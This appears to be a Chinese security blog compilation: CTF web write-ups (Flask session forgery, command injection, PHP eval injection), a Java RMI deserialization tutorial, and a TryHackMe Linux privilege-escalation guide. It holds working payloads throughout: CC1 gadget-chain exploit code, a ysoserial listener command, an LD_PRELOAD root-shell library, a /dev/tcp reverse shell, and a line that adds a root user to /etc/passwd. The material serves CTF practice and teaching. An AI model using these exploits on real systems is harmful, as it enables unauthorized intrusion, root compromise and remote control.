NSSCTFRound#13 Web

解题量4/6 排名4

flask?jwt?

考察session伪造

登录框直接随手注册一个用户,然后登录进去康康什么情况,我这里随手注册了一个叫aa的用户

点击”拿flag”会提示你不是admin,也就是需要伪造成admin用户,也就需要SECRET_KEY

这里也就几个功能点,瞎点几下发现忘记密码这里输入它主页的邮箱就可以在注释中拿到SECRET_KEY

然后解密后伪造一手即可

1
2
3
python flask_session_en_de.py decode -s “th3f1askisfunny” -c "你的session"

python flask_session_en_de.py encode -s “th3f1askisfunny” -t "{'_fresh': True, '_id': '467f4f5c63e6e8a448a19e62209c978fc29daa8bb6701721cbbac3085a95acf074c076705bae29d241f2434d9204f2cc6aef23086435265efb63c3955500518d', '_user_id': '1'}"

携带session访问/getFlag即可

ez_factors

题目描述:原生 Linux 因数爆破工具。flag在根目录

首先进入页面,点击Tool进入/factors/114514

题目描述说是原生 Linux 因数爆破工具,那就预测一手这道题考察命令执行,这就和常见的ping有点相似了

直接换行符(%0a)执行命令,但似乎没那么简单,ls没回显,咋回事,cat /etc/passwd再康康

记得这里/要url编码,不然会产生歧义嗷

这里明显是执行了的,因为格式和/etc/passwd是相同的,那难道只会回显数字吗,那我就编个码读/flag

这里就用od命令,它默认以8进制读取文件,也就是得到的全是数字,爽诶

1
/factors/114514%0aod%20%2fflag

但这还没结束,得到的flag内容长这样

1
2
3
4
0000000 051516 041523 043124 032573 033461 031146 032144 026467
0000020 033467 061543 032055 031471 026466 034471 030471 063055
0000040 030066 034066 061543 032061 030141 076544 000012
0000055

急急急,怎么复原内容呢,一顿搜索没啥结果,最后墨迹了好久发现参数-b输出结果会好复原很多,只拿了二血,坏

1
/factors/114514%0aod%20-b%20%2fflag
1
2
3
4
0000000 116 123 123 103 124 106 173 065 061 067 146 062 144 064 067 055
0000020 067 067 143 143 055 064 071 063 066 055 071 071 071 061 055 146
0000040 066 060 066 070 143 143 061 064 141 060 144 175 012
0000055

最后扔进赛博厨子得到flag

MyWeb

题目描述:试试我的JSON解析工具。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
}

这里审计一手代码,就是一个save和read的过程,我们要想eval的东西是我们想执行的,那就必须破坏它的结构,那就复制下来在本地测试测试,怎么才能闭合原有结构,让危险代码逃逸

最后借鉴sql注入那套思路,闭合加注释,成功执行任意代码

1
/?mode=save&value=]//%0a;<your_php_code>;//

但是还有个要注意的点,addslashes()函数会转义预定义字符,也就是单双引号那几个,那么执行的代码也不能有这些东西,所以要用到无参数命令执行

1
/?mode=save&value=]//%0a;print_r(getenv());//

然后?mode=read就能获取环境变量里的flag

flask?jwt?(hard)

这道题和第一题差不多,但是SECRET_KEY藏起来了

首先在注册登录后注释中有提示

1
<!-- 我der密钥去哪里了,哦!源来氏被 /wor 藏起来了 -->

访问/wor路由给出了上次的登录时间,然后就卡住了,急急急,找了半天让后台报错康康有没有debug模式泄露源码的地方,最后在session中获得灵感

可以看到base64解码后看到了进入时的提示语句,嘶,这里的登陆时间该不会也是在session中获取的吧,那就登录后访问/wor路由,然后随手删除一坨(不带session访问也会报错)让它在获取登录时间时报错

然后得到SECRET_KEY

然后伪造即可

1
python flask_session_en_de.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh': True,'_user_id': '1'}"

携带session访问/getFlag即可获取flag

Java安全之RMI反序列化

RMI

RPC(Remote Procedure Call)远程过程调用,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC的诞生起源于分布式的使用,最开始的系统都是在一台服务器上,这样本地调用本无问题。但随着网络爆炸式的增长,单台服务器已然不满足需求,出现了分布式,接口和实现类分别放到了两个服务器上,怎么调用呢?JVM不同,内存地址不同,不可能直接访问调用。由于 RPC 的使用还是过于麻烦,Java RMI 便由此产生。

RMI(Remote Method Invocation),即 Java 远程方法调用,它是一种机制,能够让在某个 Java 虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法,可以像调用本地 JAVA 对象的方法一样调用远程对象的方法,使分布在不同的 JVM 中的对象的外表和行为都像本地对象一样。可以用此方法调用的任何对象必须实现该远程接口。

它可以帮助我们跨站调用信息,也可以避免重复造轮子

RMI运行过程

首先写一个简单的RMI demo:

  1. 定义客户端和服务端共享的接口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    package Test;

    import java.rmi.Remote;
    import java.rmi.RemoteException;

    // 使用的接口必须继承或实现java.rmi.Remote,只有被Remote标识的接口内方法才可以被远程调用
    public interface Hello extends Remote{
    // 接口内的每个方法都要声明抛出java.rmi.RemoteException异常
    String sayHello(String name) throws RemoteException;
    }
  2. 然后写这个接口的实现类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    package Test.server;

    import Test.Hello;

    import java.rmi.RemoteException;
    import java.rmi.server.UnicastRemoteObject;

    // 接口实现类应直接或间接继承java.rmi.server.UnicastRemoteObject类
    public class HelloImpl extends UnicastRemoteObject implements Hello {
    // serialVersionUID属性必须存在且需要和客户端一致才可进行反序列化,否则会报错,此属性如果是默认的话是可以被计算的
    private static final long serialVersionID = 1L;
    // // 必须有一个显式的构造函数,并且要抛出一个RemoteException异常
    protected HelloImpl() throws RemoteException {
    super();
    }

    public String sayHello(String name) {
    return "Hello " + name + "!";
    }
    }

    远程对象必须继承java.rmi.server.UniCastRemoteObject类,这样才能保证客户端访问获得远程对象时,该远程对象将会通过JRMP导出远程对象把自身的一个拷贝以Socket的形式传输给客户端,此时客户端所获得的这个拷贝称为**“存根”(Stub)**,而服务器端本身已存在的远程对象则称之为“骨架”(skeleton)。

  3. 接着就可以写服务端

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    package Test.server;

    import Test.Hello;

    import java.rmi.Naming;
    import java.rmi.registry.LocateRegistry;

    public class HelloServer {
    public static void main(String[] args) throws Exception {
    // 生成Stub和skeleton,并返回Stub代理引用
    Hello hello = new HelloImpl();
    // 创建并启动RMI Service,并绑定端口,这里选择RMI默认端口1099
    LocateRegistry.createRegistry(1099);
    // 将Stub代理引用绑定到Registry服务的url上,不必知道服务端实例化的名称是什么
    Naming.rebind("rmi://localhost:1099/hello", hello);
    System.out.println("Hello Server is working, listening on port 1099...");
    }
    }

    这个类的作用就是注册远程对象,向客户端提供远程对象服务。将远程对象注册到RMI Service之后,客户端就可以通过RMI Service请求到该远程服务对象的stub了,利用stub代理就可以访问远程服务对象了

  4. 接着继续编写客户端

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    package Test.client;

    import Test.Hello;

    import java.rmi.Naming;

    public class HelloClient {
    public static void main(String[] args) throws Exception{
    // 从RMI Registry中请求Stub获取远程对象
    Hello hello = (Hello) Naming.lookup("rmi://localhost:1099/hello");
    // 通过Stub调用远程接口,在服务端调用,在客户端输出
    System.out.println(hello.sayHello("ph0ebus"));
    }
    }

先启动服务端,再启动客户端即可看到正常回显Hello ph0ebus!,RMI通信过程就如下图所示,图片来自p神

RMI反序列化攻击

对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使其将这个对象按任何一个存在于class path中的可序列化类来反序列化。因此对于三者(客户端、服务端和注册中心),他们可以互相攻击,以此产生了六种攻击方向。

服务端与客户端攻击注册中心

在低版本的 JDK 中,Server 与 Registry 是可以不在一台服务器上的,在 Server 与 Registery 分离的时候对Registry攻击可以再拿下 Registery 的机器

服务端和客户端攻击注册中心的方式是相同的,都是远程获取注册中心后传递一个恶意对象进行利用

与注册中心交互的方式有:list()bind()rebind()unbindlookup()

bind() & rebind()

远程调用bind()绑定服务时,注册中心会对接收到的序列化的对象进行反序列化。所以,我们只需要传入一个恶意的继承Remote类的对象即可,这里用cc1链示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class HackRegistry {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "ph0ebus");

Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// AnnotationInvocationHandler类的对象,必须要转为Remote类的对象
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Remote proxyObject = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);

LocateRegistry.createRegistry(1099);
Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);
registry_remote.bind("HelloRegistry", proxyObject);
System.out.println("rmi start at 1099");
}
}

这里用到了动态代理的知识,proxyObject被反序列化时会进入到AnnotationInvocationHandler类中的invoke方法从而触发漏洞链。除了bind()操作之外,rebind()也可以这样利用。但是lookupunbind只有一个String类型的参数,不能直接传递一个对象反序列化。得寻找其他的方式。

unbind & lookup

unbind的利用方式跟lookup是一样的,这里以lookup()为例,注册中心在处理请求时,是直接进行反序列化再进行类型转换为String类型,因为这里只能传输字符串,所以要想办法控制发送过去的值成为一个对象,这里就得模拟原来的lookup()修改代码使其可以传入obj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class HackRegistry {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "ph0ebus");

Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// AnnotationInvocationHandler类的对象,必须要转为Remote类的对象
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Remote proxyObject = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);

LocateRegistry.createRegistry(1099);
Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);

// 获取super.ref
Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);

// 获取operations
Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);

// 跟lookup方法一样的传值过程
RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(proxyObject);
ref.invoke(var2);

registry_remote.lookup("HelloRegistry");
System.out.println("rmi start at 1099");
}
}

注册中心攻击客户端和服务端

客户端和服务端与注册中心的参数交互都是把数据序列化和反序列化来进行的,过程中肯定也是存在一个对注册中心返回的数据的反序列化的处理,这样就存在反序列化漏洞,用ysoserial生成一个恶意的注册中心,当调用注册中心的方法时,就可以进行恶意利用

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

客户端访问

1
2
3
4
5
6
7
8
9
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list(); // bind(),rebind(),unbind(),lookup()
}
}

客户端攻击服务端

如果远程对象接收一个对象作为参数,那么就可以传递一个恶意对象进行漏洞利用,以cc1链为例

1
2
3
4
5
6
7
8
9
// Interface
package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hacker extends Remote {
public void hacked(Object object)throws RemoteException;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// Client
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class HackServer {
public static void main(String[] args) throws Exception{
Hacker hacker = (Hacker)Naming.lookup("rmi://localhost:1099/hack");
hacker.hacked(getHackObject());
}
public static Object getHackObject() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "ph0ebus");

Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
return obj;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Server
package RMI;

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class HackedSever {
public static void main(String[] args) throws Exception {
Hacker hacker = new HackerImpl();
LocateRegistry.createRegistry(1099);
// 将Stub代理引用绑定到Registry服务的url上
Naming.rebind("rmi://localhost:1099/hack", hacker);
}
public static class HackerImpl extends UnicastRemoteObject implements Hacker {
protected HackerImpl() throws RemoteException {
super();
}

@Override
public void hacked(Object obj) throws RemoteException {
System.out.println(obj);
}
}
}

服务端攻击客户端

和上面差不太多,在客户端调用一个远程方法时,只需要控制返回的对象是一个恶意对象就可以进行反序列化漏洞的利用了

1
2
3
4
5
6
7
8
9
// Interface
package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hacker extends Remote {
public Object hack() throws RemoteException;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// Server
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class HackedSever {
public static void main(String[] args) throws Exception {
Hacker hacker = new HackerImpl();
LocateRegistry.createRegistry(1099);
// 将Stub代理引用绑定到Registry服务的url上
Naming.rebind("rmi://localhost:1099/hack", hacker);
}
public static class HackerImpl extends UnicastRemoteObject implements Hacker {
protected HackerImpl() throws RemoteException {
super();
}

@Override
public Object hack() throws RemoteException {
Object obj = null;
try{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "ph0ebus");

Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
obj = constructor.newInstance(Retention.class, outerMap);
}catch (Exception e){
e.printStackTrace();
}
return obj;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
// Client
package RMI;

import java.rmi.Naming;

public class HackedClient {
public static void main(String[] args) throws Exception {
Hacker hacker = (Hacker) Naming.lookup("rmi://localhost:1099/hack");
hacker.hack();
}
}

参考链接:

JAVA RMI 反序列化攻击 & JEP290 Bypass分析 | Threezh1

Java反序列化漏洞(一)–RMI协议原理/详解及流量分析 | yq1ng

TryHackMe之Linux提权

简介

提权是一个过程,没有一劳永逸的解决方案,而很大程度上取决于目标系统的具体配置。内核版本、安装的应用程序、支持的编程语言、其他用户的密码等都是影响你获取root权限的关键因素。

在本质上,提权通常涉及从低权限账户提升到高权限账户。更具体地说,它是利用操作系统或应用程序中的漏洞、设计缺陷或配置失误,未经授权地访问通常对用户受限的资源。

在进行真实环境的渗透测试时,很少能够获得直接的管理员访问权限来建立立足点(初始访问)。提权是至关重要的,因为它使你能够获得系统管理员级别的访问权限,从而可以执行以下操作:

  • 重置密码
  • 绕过访问控制以获取受保护数据
  • 编辑软件配置
  • 实现持久化
  • 更改现有(或新建)用户的权限
  • 执行任何管理命令

Enumeration

一旦您获得对任何系统的访问权限,Enumeration是您必须采取的第一步。您可能已经通过利用导致根级别访问的严重漏洞访问了系统,或者只是找到了一种使用低特权帐户发送命令的方法。Enumeration 在 post-compromise 阶段和之前一样重要。

hostname

hostname命令可以获取目标机的主机名,虽然这个值可以很容易地改变或者是一个相对无意义的字符串,但在某些时候它可以提供有关目标系统在公司网络中的角色的信息

uname -a

这个命令将为我们提供有关系统使用的内核的更多详细信息,这在搜索任何可能导致特权升级的潜在内核漏洞时非常有用。

/proc/version

proc 文件系统提供有关目标系统进程的信息,许多不同的 Linux 版本上都能找到 /proc,查看 /proc/version 可能会为您提供有关内核版本的信息和其他数据,例如是否安装了编译器(例如 GCC)

/etc/issue

该文件通常包含有关操作系统的一些信息,但可以很容易地进行自定义或更改。可以参考这个文件判断操作系统及其版本

ps

ps 命令(Process Status)是查看 Linux 系统上正在运行的进程的有效方法。

ps命令的输出内容通常包括以下内容:

  • PID:进程ID(进程唯一)
  • TTY:用户使用的终端类型
  • 时间:进程使用的 CPU 时间量(这不是该进程运行的时间)
  • CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)

-A选项可以查看所有运行中的进程;axjs选项可以查看进程树;aux选项可以查看所有用户的进程、启动进程的用户和未附加到终端的进程,使用这个选项我们可以更好地了解系统和潜在的漏洞

env

这个命令可以获取到系统的环境变量,PATH 变量可能具有编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于提权

sudo -l

目标系统可能配置为允许用户以root权限运行某些(或全部)命令。可以使用sudo -l命令列出用户可以使用sudo运行的所有命令

ls

虽然是linux常见命令,但在寻找潜在的提权途径,使用-la参数显示隐藏文件(以点开头)以及更详细的文件权限和其他信息,以避免错过潜在的文件或目录

id

这个命令提供当前用户权限级别和组成员身份的总体概述,id USER也可用于获取另一个用户的信息

/etc/passwd

读取 /etc/passwd 文件是发现系统用户的一种简单方法,使用cat /etc/passwd | cut -d ":" -f 1可以很容易地剪切并转换成一个有用的列表以用于暴力攻击。但其中有些事没啥用的系统或服务用户,可以用cat /etc/passwd | grep home查找home,因为真实用户很可能将他们的文件夹放在home目录下

history

这个命令可以显示历史命令记录,Linux默认记录用户所执行过的所有命令,也许可以从中了解到更多信息

ifcofig

目标系统可能是连接到另一个网络的跳板。ifconfig命令可以提供有关系统网络接口的信息,我们也许不能直接访问某些网络接口。除此之外,可以使用 ip route 命令确认存在哪些网络路由

netstat

netstat(network statistics)命令用于显示各种网络相关信息,-a选项显示所有正在监听的端口和已建立的连接;-at-au选项分别列出显示所有TCP和UDP传输协议的连线状态;-l选项列出处于监听模式的端口。这些端口是打开的,并准备接受传入的连接,配合t选项仅列出使用TCP协议进行监听的端口;-s选项按协议列出网络使用统计信息。也可以配合-t-u使用;-tp选项列出带有服务名称和 PID 信息的连接,当PID/Program name列为空时指这个进程属于另一个用户;-i选项显示网络接口统计信息;-ano选项是一种常见使用方式,表示显示所有套接字、不解析名字并显示定时器

Automated Enumeration Tools

自动化工具可以节省时间,但可能会忽略一些提权用到的信息,在使用的时候要注意目标机是否有运行环境

内核漏洞提权

除非单个漏洞导致 root shell,否则权限升级过程将依赖于错误配置和松散的权限。Linux 系统上的内核管理组件之间的通信,例如系统上的内存和应用程序,这个关键功能需要内核有特定的权限;因此,成功的利用可能会导致 root 特权。

内核利用方法:

  1. 识别内核版本
  2. 搜索并找到目标系统内核版本的漏洞利用代码
  3. 运行漏洞利用代码

虽然看起来很简单,但请记住,内核漏洞利用失败可能会导致系统崩溃。

可以根据您的发现,您可以使用搜索引擎搜索现有的漏洞利用代码,也可以在https://www.linuxkernelcves.com/cves搜索,或者使用像LES(Linux Exploit Suggester)的脚本发现可利用的漏洞代码,但可能会误报漏报

Hint:

  1. 在 Google、Exploit-db 或 searchsploit 上搜索漏洞时,对内核版本具体
  2. 在启动之前,请务必了解漏洞利用代码的工作原理。一些漏洞利用代码可以在操作系统上进行更改,使它们在进一步使用时不安全,或者对系统进行不可逆的更改,从而在以后造成问题
  3. 一些漏洞利用在运行后可能需要进一步的交互。阅读漏洞利用代码提供的所有注释和说明
  4. 您可以分别使用 SimpleHTTPServer Python 模块和 wget 将漏洞利用代码从您的机器传输到目标系统

Sudo提权

默认情况下,sudo命令允许用户以root权限运行程序。在某些情况下,系统管理员可能需要为普通用户提供一定的权限灵活性

任何用户都可以使用 sudo -l 命令查看其当前与 root 权限相关的情况。

GTFObins是一个有价值的资源,它提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息。

例如find命令sudo find . -exec /bin/sh \; -quit可以用这个命令进行提权

除此之外还有其他办法

利用应用程序

可以利用程序的功能来泄露信息,例如 Apache2 有一个选项支持加载备用配置文件(-f:指定备用 ServerConfigFile),这样就可以使用此选项加载 /etc/shadow 文件将导致包含 /etc/shadow 文件第一行的错误消息

利用 LD_PRELOAD

LD_PRELOAD 是一个允许任何程序使用共享库的函数。如果启用env_keep选项,我们可以生成一个共享库,它将在程序运行之前加载并执行,注意如果真实用户 ID 与有效用户 ID 不同,LD_PRELOAD 选项将被忽略

这种方法提权的步骤如下:

  1. 检查 LD_PRELOAD(使用 env_keep 选项)
  2. 编写编译为共享对象(.so 扩展名)文件的简单 C 代码
  3. 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序

一个简单的root shell的C代码如下:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

我们可以将此代码保存为 shell.c,并使用以下参数使用 gcc 将其编译为共享对象文件

1
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

然后就可以使用 sudo 运行的任何程序时使用这个共享对象文件,例如

1
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

SUID提权

许多 Linux 权限控制依赖于控制用户和文件交互。我们知道文件有读、写和可执行权限(rwx),都是在其权限级别内提供给用户的。这随着 SUID(设置用户标识)和 SGID(设置组标识)而改变。这些允许文件分别以文件所有者或组所有者的权限级别执行。除此之外文件权限还有一个s来显示它们的特殊权限级别,我们可以通过find / -type f -perm -04000 -ls 2>/dev/null找到这样的文件。

一个好的做法是将此列表中的可执行文件在GTFObins上查找

例如如果nano是这样具有suid权限的文件,尽管上面的网站并不能帮助我们通过suid提权,但 SUID 位允许我们使用 nano 文本编辑器以文件所有者的权限创建、编辑和读取文件。如果nano由root所有,则意味着我们可以以root的权限读取和编辑文件,在这个阶段,我们有两个基本的权限提升选项:读取 /etc/shadow 文件或将我们的用户添加到 /etc/passwd

读取/etc/shadow

nano /etc/shadow就可以输出文件内容,然后使用unshadow命令生成一个可被破解的文件,这需要/etc/shadow/etc/passwd两个文件,unshadow passwd.txt shadow.txt > passwords.txt,接着使用john工具拥有正确的字典和一点运气就能得到明文的密码。

添加一个具有 root 权限的新用户

首先用 openssl 工具生成新用户拥有的密码的哈希值,然后将此密码哈希值和用户名添加到 /etc/passwd 文件中,特别注意添加root:/bin/bash的用法,这样切换到新添加的用户就能拥有root权限

1
hacker:openssl_hash:0:0:root:/bin/bash

Capabilities提权

Capabilities有助于在更精细的级别管理权限,如果系统管理员不想给这个用户更高的权限,他们可以改变二进制文件的Capabilities,这样,二进制文件无需更高权限的用户即可完成更高权限用户能完成的任务。

我们可以使用 getcap 工具列出启用的Capabilities,当以非特权用户身份运行时,getcap -r / 会产生大量错误,因此最好将错误消息重定向到 /dev/null,即getcap -r / 2>/dev/null

GTFObins有一个很好的二进制文件列表,如果我们发现任何设置的Capabilities,可以利用这些二进制文件进行特权升级。

Cron Jobs提权

Cron jobs用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者而不是当前用户的权限运行。

提权原理就是如果有一个以 root 权限运行的计划任务,并且我们可以更改将要运行的脚本,那么我们的脚本将以 root 权限运行

Cron jobs配置以 crontab(cron 表)存储以查看任务将运行的下一个时间和日期,任何用户都可以读取 /etc/crontab 这个保存系统范围下 cron jobs 的文件。我们的目标是找到一个由 root 设置的 cron jobs 并让它运行我们的脚本,最好是一个 shell

1
2
#!/bin/bash
bash -i >& /dev/tcp/<your_ip>/<port> 0>&1

系统管理员需要定期运行脚本。 他们创建了一个 cron jobs 来执行此操作, 一段时间后,脚本变得无用,他们将其删除,但他们没有清理相关的 cron jobs,此变更管理问题可以导致利用 cron jobs 的潜在漏洞。

如果未定义脚本的完整路径,cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径。这样在这个路径下创建一个同名的脚本,它应该由 cron jobs 运行。

PATH提权

Linux 中的 PATH 是一个环境变量,它告诉操作系统在哪里搜索可执行文件。对于任何未内置于 shell 或未使用绝对路径定义的命令,Linux 将开始在 PATH 下定义的文件夹中搜索。如果您的用户具有写入权限的文件夹位于PATH中,您可能会劫持应用程序来运行脚本。

1
2
echo $PATH
export $PATH=/tmp:$PATH

NFS提权

共享文件夹和远程管理界面(例如 SSH 和 Telnet)也可以帮助您获得目标系统的根访问权限。某些情况下还需要同时使用这两种载体,例如在目标系统上找到根 SSH 私钥并通过 SSH 以根权限连接,而不是尝试增加当前用户的权限级别。

NFS(Network File Sharing)配置保存在 /etc/exports 文件中。该文件是在 NFS 服务器安装期间创建的,通常可供用户读取。此提权的关键元素是文件中的no_root_squash选项。默认情况下,NFS会将root用户更改为nfsnobody,并阻止任何文件以root权限运行。如果可写的共享上存在no_root_squash选项,我们可以创建一个设置了SUID位的可执行文件,并在目标系统上运行它。

NSSCTFRound#12 Misc

Secrets in Shadow

题目描述:

隐藏于阴影之中,会是什么呢
使用ssh连接端口,用户为”ctf”,密码为”ctf”

ssh连上,一手ls,然后cat flag,发现权限不够,开始提权,正好这周学了提权嘿嘿,强推tryhackme

由标题可以联想到/etc/shadow文件,用于存储 Linux 系统中用户的密码信息,/etc/passwd 文件,由于该文件允许所有用户读取,易导致用户密码泄露,因此 Linux 系统将用户的密码信息从 /etc/passwd 文件中分离出来,并单独放到了此文件中。

